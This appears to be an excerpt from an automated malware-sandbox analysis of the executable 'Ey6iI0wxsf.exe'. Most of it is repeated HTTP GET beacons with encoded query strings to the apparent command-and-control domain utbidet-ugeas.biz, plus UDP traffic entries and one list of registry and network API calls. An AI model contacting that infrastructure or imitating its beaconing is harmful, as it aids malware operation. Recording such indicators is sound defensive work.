Source: global traffic	HTTP traffic detected: GET /d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

Code function: 0_2_0040265F RegCreateKeyExA,RegCreateKeyExA,RegQueryValueExA,RegQueryValueExA,GetSystemTimeAsFileTime,RegSetValueExA,RegSetValueExA,GetIpAddrTable,GetIpAddrTable,wsprintfA,lstrlen,lstrcpy,wsprintfA,wsprintfA,ExitProcess,InternetReadFile,GetSystemTimeAsFileTime,RegSetValueExA,RegSetValueExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,RegSetValueExA,RegSetValueExA,Sleep,CreateThread,CloseHandle,GetSystemTimeAsFileTime,RegSetValueExA,RegSetValueExA,Sleep,

0_2_0040265F

Source: global traffic	HTTP traffic detected: GET /d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2DB5628B2DB562883DB7A28B2DBF4B270FDCA2EB3DB9680B0DC600680F56F1A82EB7828 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A80F1563A80F1563990F3963A80FB7F96A298965A90FD5CBAA08234D9A212C51983F3B63 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B26BFB78B26BFB78836BD778B26B59E2704D677EB36B3BD0B06CCD568045C24A825BD578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
